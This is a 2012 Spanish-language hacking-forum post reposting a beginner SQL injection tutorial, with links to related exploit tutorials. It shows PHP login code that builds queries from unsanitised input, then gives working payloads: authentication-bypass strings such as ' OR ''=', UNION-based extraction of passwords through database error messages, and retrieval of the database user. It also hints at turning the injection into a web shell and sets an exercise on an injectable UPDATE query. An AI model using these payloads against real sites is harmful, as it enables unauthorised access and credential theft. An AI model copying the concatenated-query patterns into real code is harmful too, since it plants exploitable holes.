send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Sql Injection tutorial

  • 0 Respuestas
  • 1683 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5267
  • Actividad:
    48.33%
  • Reputación 26
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Marzo 30, 2012, 12:20:23 pm »
les dejo un buen tutorial de SQL injection para los que empiezan con el hacking avanzado.

Tambien les recomiendo el texto de hernan raciatti que tien en su web pueden encontrarlo en goole es bien completo y basico para comenzar .


Tutorial de Inyección SQL. (SQL Injection) Extraido de el foro You are not allowed to view links. Register or Login
Por SirDarckCat

La inyección SQL es el ataque vía web, que aprovecha errores en la filtración de datos introducidos por el usuario, y que permiten a un atacante, tener control de cierta aplicación.


ATENCIÓN

Para poder explotar con exito una falla de inyección SQL es necesario que sepan con anterioridad el lenguaje.

información sobre su implementación en PHP se puede encontrar en
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Los ataques SQL pueden ser evitados de muchas formas, iniciare con algunos ejemplos de instrucciones vulnerables, con las “magic quotes” desactivadas.

Ejemplo 1
Código:

Código: You are not allowed to view links. Register or Login
$us=$_POST['usuario'];
$pass=$_POST['pass'];
$sql="SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'";

-- código largo cortado --
Código:

if(mysql_fetch_array($exc)){
echo "Inicio de sesión correcto"; // Esto fue modificado
}


Este es el tipico sistema de verificacion de contraseñas..
utiliza la instruccion mysql_fetch_array(funcion de mysql, que devuelve falso si no hay ningun resultado, en la 'querry', o petición), así que si no hay ningun resultado donde el usuario y el password conuerden, el resultado es false :P.

como podemos hacer que no devuelva false??

    * Con el password correcto
    * Haciendo trampa


Logicamente, no usaremos la primera opción xD

Haciendo trampa.. se haria algo así:
esta es la petición que solo nos deja pasar si sabesmos el pass..

Código: You are not allowed to view links. Register or Login
SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'
ahora, ¿como se puede hacer que nos devuelva true aunque no sepamos el password, sabiendo que solo podemos modificar $pass y $us?
Supongamos que ponemos de usuario Pegaso, y de password pjps.
El usuario existe, pero no sabemos el pass..
la sentencia que SQL recibira sera:

Código: You are not allowed to view links. Register or Login
SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='pjps'
y como no hay ningun campo donde el usuario y el password coincidan, nos devolvera false :(

Ahora, con un poco de creatividad:
de usuario:    Pegaso
de password: ' OR ''='

la sentencia SQL recibira:
 
Código: You are not allowed to view links. Register or Login
SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='' OR ''=''
nos devolvera true, si hay algun resultado y como NADA siempre es igual a NADA, nos devolvera true, y pasamos el mecanismo de validación como Pegaso.

Otros posibles valores que devuelven true son:

    * usuario: Pegaso AND /*   password: */ ''='
    * usuario: ' OR 1=1 //


Ahora... que si quisieras saber el password.. (te advierto, que normalmente esta encriptado, y deberas desencriptarlo, con alguna herramienta para eso como john the ripper), tomemos el siguiente ejemplo

Ejemplo 2
Código:
Código: You are not allowed to view links. Register or Login
$us=$_POST[‘usuario’];
$pas=$_POST[‘pass’];
if($_GET['usuario'] || $_GET['pass']){
die("Hack Attempt");
}
$sql="SELECT password FROM usuarios WHERE user = '$us'";
-- código largo cortado --
Código:
Código: You are not allowed to view links. Register or Login
$resp = mysql_query($sql) or die(mysql_error());
if(mysql_fetch_array($resp)){
if($resp==$pas){
echo "Inicio de sesión exitoso"; // Esto fue modificado
}else{
echo "el password $resp es incorrecto";
}
}



Bien, este ejemplo, que se ve mucho mas seguro (y sacado de una aplicación real), ¿es vulnerable?
SI, ¿porque?
Ya quedamos en que no hay magic quotes, las magic quotes son una función que trata de desactivar todas las cadenas introducidas por el usuario, que parezcan peligrosas, como comillas, diagonales, \0 etc..
el webmaster pensó, que como no usaba el mysql_fetch_array, entonces no podian usar un ' OR ''=', como la inyección clasica, pasada.

Ahora, queremos sacar el password.. pero.. ¿como?

Hay una instruccion en SQL llamada UNION, que sirve para obtener información de 2 tablas, o..
Bueno.. UNION necesita algunos requisitos.

    * Necesitas meter la misma cantidad de valores que tiene la tabla.
    * Tener un informe de los errores que provocaremos en la instrucción


Bien ahora empezemos.
la instrucción a modificar es la siguiente:

Código: You are not allowed to view links. Register or Login
SELECT password FROM usuarios WHERE user = '$us'
como ejemplo, si colocalmos de usuario: zanahoria
la instrucción que llega seria:

Código: You are not allowed to view links. Register or Login
SELECT password FROM usuarios WHERE user = 'zanahoria'
Otra vez necesitamos creatividad :D
regresemos al UNION.

UNION necesita que el numero de columnas sea igual, sino sacara un error.

y exactamente, lo que necesitamos es un error, que nos diga cuando estamos mal, para saber cuando estamos bien.

el UNION se usa de esta forma:

Código: You are not allowed to view links. Register or Login
usuario: ' AND 0 UNION SELECT 1 AND 'l'='
SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''

para lo cual SQL nos respondera:
Citar
Código: You are not allowed to view links. Register or Login
The used SELECT statements have a different number of columns:SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''
Continuando por el mismo camino, podemos hacer que nos regrese un error, al tratar de UNIR un campo de tipo INT (osea que guarda numeros) a un CHAR (guarda letras)

Quedaria algo así:

Código: You are not allowed to view links. Register or Login
' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria
la sentencia seria esta:

Código: You are not allowed to view links. Register or Login
SELECT password FROM usuarios WHERE user = '' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria'
que nos da como error:
Citar
Citar
Syntax error converting the varchar value 'naranja' to a column of data type int.

donde el password es naranja   8) 8)

Las inyecciones ultimamente han logrado tener mas poder que antes, segun el blog de acidbits, solo debemos sacar toda la información posible, y con un poco de esfuerzo, conseguimos tener control de archivos (crear, borrar, etc..).

el siguiente es un ejemplo, con la misma sentencia
usuario:
Código: You are not allowed to view links. Register or Login
' AND 0 UNION SELECT 1,user(),3,4,5 AND 'l'='

y nos regresa:
Citar
Citar
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

que significa esto? que estamos metiendo valores en utf cuando debe ser en latin1.. eso lo arreglamos así:

Código: You are not allowed to view links. Register or Login
' AND 0 UNION SELECT 1,convert(user() using latin1),3,4,5 AND ''l='
y eso nos regresa:

Citar
Citar
root@localhost

esto, no es todo, con hacer que regrese valores con '<??>', podemos incluso crearnos nuestra shell.

Para ver el metodo completo de acidbits, da click aquí.

Ejercicio :):
¿Que puedes hacer con esta sentencia?
Código:

Código: You are not allowed to view links. Register or Login
$sql="UPDATE clicks set dat=now(), aas=aas+1 where  ref='$HTTPREFFERER'";
$resp = mysql_query($sql) or die(mysql_error());


Coloca el archivo anexo en tu servidor, con las respectivas configuraciones SQL necesarias, en una carpeta protegida, e intenta autohackearte, eso te dara practica.

Autor: Phantom Lord


 

¿Te gustó el post? COMPARTILO!



SQLI tutorial pour débutants ( newbie) ecrite par *..::Key-m0rt::..*

Iniciado por ..::key-m0rt::..

Respuestas: 0
Vistas: 1486
Último mensaje Marzo 23, 2010, 12:38:21 pm
por ..::key-m0rt::..
Explotación del Heap a través de la macro UNLINK (TUTORIAL)

Iniciado por l3x4

Respuestas: 1
Vistas: 507
Último mensaje Marzo 21, 2018, 06:41:52 pm
por .:UND3R:.
[Video] Jugando al JuAckEr pt 1. [No es tutorial][SQLi+Deface]

Iniciado por Xt3mP

Respuestas: 0
Vistas: 1291
Último mensaje Julio 21, 2010, 07:43:44 pm
por Xt3mP
Tutorial de un exploit local BOF con bypass DEP usando ROP by PerverthsO

Iniciado por PerverthsO

Respuestas: 0
Vistas: 1341
Último mensaje Marzo 04, 2013, 01:40:08 pm
por PerverthsO
[Tutorial] Vulnerabilidad CSRF By ShadinessDark [Colaboracion de Zero Bits]

Iniciado por dracko.rx

Respuestas: 0
Vistas: 1616
Último mensaje Febrero 24, 2010, 03:24:51 pm
por dracko.rx